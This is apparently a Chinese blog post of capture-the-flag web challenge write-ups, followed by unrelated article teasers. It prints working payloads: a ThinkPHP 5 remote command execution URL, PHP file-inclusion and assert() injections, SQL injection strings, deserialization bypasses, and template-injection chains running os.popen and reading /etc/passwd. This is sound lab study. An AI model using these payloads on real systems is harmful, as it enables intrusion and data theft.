这里刷一下进阶区的题目,一边看wp一边学习
提示是:想想初始页面是哪个
进入是一个hello world,然后就没有了,由于提示试试抓包,得到flag
由于提示我们就查看robots.txt
获得flag
题目很明显的提示了:ThinkPHP V5
上网找到相应的漏洞利用,这里我找的是:ThinkPHP 5.x远程命令执行漏洞分析与复现
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现可行,执行了whoami,那么就很简单了
cat /flag一下?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
给出了源码:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
过滤了php://,但方法很多
没有过滤Php://,可大写绕过
?page=Php://input
POST方式提交<?php system("ls"); ?>
然后执行cat即可
php文件包含
?page=http://127.0.0.1/index.php/?hello=<?system('ls');?>
?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
使用其他的伪协议data://text/plain
首先获取路径?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
读取当前目录的文件?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
最后读取文件即可?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a);?>
打开是一个滑稽,查看源码得到source.php查看得到源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
第一个if是对$page变量进行检验,要求是字符串,否则的话返回false,
第二个if是判断$page是否在规定的白名单数组里面;如果在的话返回true;接着截取$page的 ? 之前的内容进行查看,判断其是否在$whitelist中,如果在的话,返回true,不在的话返回false;然后对$page进行url解码,解码之后再继续截取 ? 之前的内容,判断是否在$whitelist数组之中,如果在的话返回true,否则返回false;都通过以后,就会包含file;
这里我们构造payload ?file=source.php?../../../../../../ffffllllaaaagggg
(因为我们不知道具体的位置,所以我们只能目录跃迁进行尝试)然后得到flag
参考:[HCTF 2018]WarmUp
没有过滤的sql注入,直接union select即可
得到news:
' and 0 union select 1,database(),3#
得到secret_table:
' and 0 union select 1,table_schema,table_name from information_schema.columns #
得到fl4g:
' and 0 union select 1,2,column_name from information_schema.columns where table_name='secret_table'#
得到flag:
' and 0 union select 1,2,fl4g from secret_table #
下载附件,发现是js代码,但很混乱,发现最后有个eval()函数执行行了前面的_函数,将eval()改为alert(),改为.html即可弹出源代码
整理后得:
function $() {
var e = document.getElementById("c").value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
将数组拼接起来即是flag:flag{it's_a_h0le_in_0ne}
或者运行js代码得到一个弹窗,输入数字要满足条件如下:
得到be0f233ac7be98aa,输入得到flag
打开得到:Can you anthenticate to this website?
想法就是,但扫描目录没得出来,查看wp发现是index.phps
输入admin的两次url编码即可
?id=%2561%2564%256d%2569%256e
得到一串代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
构造序列化,只存在一个变量flag
?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}
又要绕过__wakeup(),将1改为2即可
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
查看源代码得:
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');
if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;
alert('请选择一张图片文件上传!');
}
}
前端js检验,抓包绕过,首先上传jpg
蚁剑连接即可得到flag
进入题目提示:python template injection,这个点不会,看了wp
执行{
{7*7}}
可行,那么就可以读取数据了,读取/etc/password
{
{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
首先执行ls命令
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %} //遍历基类 找到eval函数
{
% if 'eval' in b.keys() %} //找到了
{
{
b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
得到了fl4g,那么cat一下就可以了,将ls改为cat fl4g
看了另一个师傅的,代码简单很多:
{
{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}
{
{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}
方法很多,不拘于一种方法最好
参考:
攻防世界WEB高手进阶之python_template_injection
[WP]Web>Python>template>注入,wpWebpythontemplateinjection,攻防,世界
反序列化的题目,给出了源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
主要绕过两个地方:
绕过正则:使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
绕过wakeup:使序列化字符串中标识变量数量的值大于实际变量即可,即1变为2
在下面添加如下代码构造序列化即可:
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
传入可得到flag
强网杯的原题,直接使用payload
1'; handler `1919810931114514` open as y1ng; handler y1ng read first; handler y1ng close;#
一样是buuctf上做过的题目,直接上payload
error?msg={
{1*2}}
获得cookie:error?msg={
{handler.settings}}
得到ead3e90c-a620-4f9c-afd5-824276d245ba,使用python脚本:
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="ead3e90c-a620-4f9c-afd5-824276d245ba"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
最后file?filename=/fllllllllllllag&filehash=f99dedfcd23ec0411f0727c8ade108c4
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
点进去什么都没有,就只有点报表中心得出
送分题。。。。尝试了sql注入没反应,看wp发现爆破id即可,那么就开始抓包爆破了,数据从1设到10000,爆出了id=2333时不同
访问得到flag
界面还蛮有意思的,得到flag要$9990000,要两次得到7个一样的数字
查看wp才发现是git泄露,那么就直接开始githack了
接下来代码审计,猜数字的在api.php中,有一个弱类型,bool类型的true是可以和任何数据弱类型相等的
那么就开始抓包把数据都改为true即可,注意当生成的win_number中不含0时才会得5000000
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
最后刷到足够的钱,买flag就行了
参考:攻防世界-Web-lottery(.git泄露、php源码审计、弱类型利用)-XCTF 4th-QCTF-2018
首先发现有git泄露,直接可以得到源码
好吧,打开乱码,还是用githack得到index.php的源码:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
assert()函数会将读入的代码当做PHP代码来执行
?page=’)
', '..') === false
的给注释掉,构造:?page=').phpinfo();//
?page='.phpinfo().'
那么就可以使用system()来执行语句了
?page='.system("ls").'
?page='.system("cat templates/flag.php").'
,查看源码得到flag
参考:XCTF WEB mfw
给出了源码:
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
//循环字符串长度
$_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c; //拼接两个变量的内容 赋值
}
return str_rot13(strrev(base64_encode($_)));//返回 ROT13 编码/解码(反转字符串(base64加密($_)))
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
逆向解密即可,这里借鉴了师傅的代码:
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
$_c=substr($_,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_o=$_o.$_c;
}
echo strrev($_o);
?>
文章浏览阅读1k次。通过使用ajax方法跨域请求是浏览器所不允许的,浏览器出于安全考虑是禁止的。警告信息如下:不过jQuery对跨域问题也有解决方案,使用jsonp的方式解决,方法如下:$.ajax({ async:false, url: 'http://www.mysite.com/demo.do', // 跨域URL ty..._nginx不停的xhr
文章浏览阅读2k次。关于在 Oracle 中配置 extproc 以访问 ST_Geometry,也就是我们所说的 使用空间SQL 的方法,官方文档链接如下。http://desktop.arcgis.com/zh-cn/arcmap/latest/manage-data/gdbs-in-oracle/configure-oracle-extproc.htm其实简单总结一下,主要就分为以下几个步骤。..._extproc
文章浏览阅读1.5w次。linux下没有上面的两个函数,需要使用函数 mbstowcs和wcstombsmbstowcs将多字节编码转换为宽字节编码wcstombs将宽字节编码转换为多字节编码这两个函数,转换过程中受到系统编码类型的影响,需要通过设置来设定转换前和转换后的编码类型。通过函数setlocale进行系统编码的设置。linux下输入命名locale -a查看系统支持的编码_linux c++ gbk->utf8
文章浏览阅读750次。今天准备从生产库向测试库进行数据导入,结果在imp导入的时候遇到“ IMP-00009:导出文件异常结束” 错误,google一下,发现可能有如下原因导致imp的数据太大,没有写buffer和commit两个数据库字符集不同从低版本exp的dmp文件,向高版本imp导出的dmp文件出错传输dmp文件时,文件损坏解决办法:imp时指定..._imp-00009导出文件异常结束
文章浏览阅读143次。当下是一个大数据的时代,各个行业都离不开数据的支持。因此,网络爬虫就应运而生。网络爬虫当下最为火热的是Python,Python开发爬虫相对简单,而且功能库相当完善,力压众多开发语言。本次教程我们爬取前程无忧的招聘信息来分析Python程序员需要掌握那些编程技术。首先在谷歌浏览器打开前程无忧的首页,按F12打开浏览器的开发者工具。浏览器开发者工具是用于捕捉网站的请求信息,通过分析请求信息可以了解请..._初级python程序员能力要求
文章浏览阅读7.6k次,点赞2次,收藏6次。@Service标注的bean,类名:ABDemoService查看源码后发现,原来是经过一个特殊处理:当类的名字是以两个或以上的大写字母开头的话,bean的名字会与类名保持一致public class AnnotationBeanNameGenerator implements BeanNameGenerator { private static final String C..._@service beanname
文章浏览阅读6.9w次,点赞73次,收藏463次。1.前序创建#include<stdio.h>#include<string.h>#include<stdlib.h>#include<malloc.h>#include<iostream>#include<stack>#include<queue>using namespace std;typed_二叉树的建立
文章浏览阅读7.1k次。在Asp.net上使用Excel导出功能,如果文件名出现中文,便会以乱码视之。 解决方法: fileName = HttpUtility.UrlEncode(fileName, System.Text.Encoding.UTF8);_asp.net utf8 导出中文字符乱码
文章浏览阅读2.1k次,点赞4次,收藏23次。第一次实验 词法分析实验报告设计思想词法分析的主要任务是根据文法的词汇表以及对应约定的编码进行一定的识别,找出文件中所有的合法的单词,并给出一定的信息作为最后的结果,用于后续语法分析程序的使用;本实验针对 PL/0 语言 的文法、词汇表编写一个词法分析程序,对于每个单词根据词汇表输出: (单词种类, 单词的值) 二元对。词汇表:种别编码单词符号助记符0beginb..._对pl/0作以下修改扩充。增加单词
文章浏览阅读773次。我在使用adb.exe时遇到了麻烦.我想使用与bash相同的adb.exe shell提示符,所以我决定更改默认的bash二进制文件(当然二进制文件是交叉编译的,一切都很完美)更改bash二进制文件遵循以下顺序> adb remount> adb push bash / system / bin /> adb shell> cd / system / bin> chm..._adb shell mv 权限
文章浏览阅读6.8k次,点赞12次,收藏125次。1. 单目相机标定引言相机标定已经研究多年,标定的算法可以分为基于摄影测量的标定和自标定。其中,应用最为广泛的还是张正友标定法。这是一种简单灵活、高鲁棒性、低成本的相机标定算法。仅需要一台相机和一块平面标定板构建相机标定系统,在标定过程中,相机拍摄多个角度下(至少两个角度,推荐10~20个角度)的标定板图像(相机和标定板都可以移动),即可对相机的内外参数进行标定。下面介绍张氏标定法(以下也这么称呼)的原理。原理相机模型和单应矩阵相机标定,就是对相机的内外参数进行计算的过程,从而得到物体到图像的投影_相机-投影仪标定
文章浏览阅读2.2k次。文章目录Wayland 架构Wayland 渲染Wayland的 硬件支持简 述: 翻译一篇关于和 wayland 有关的技术文章, 其英文标题为Wayland Architecture .Wayland 架构若是想要更好的理解 Wayland 架构及其与 X (X11 or X Window System) 结构;一种很好的方法是将事件从输入设备就开始跟踪, 查看期间所有的屏幕上出现的变化。这就是我们现在对 X 的理解。 内核是从一个输入设备中获取一个事件,并通过 evdev 输入_wayland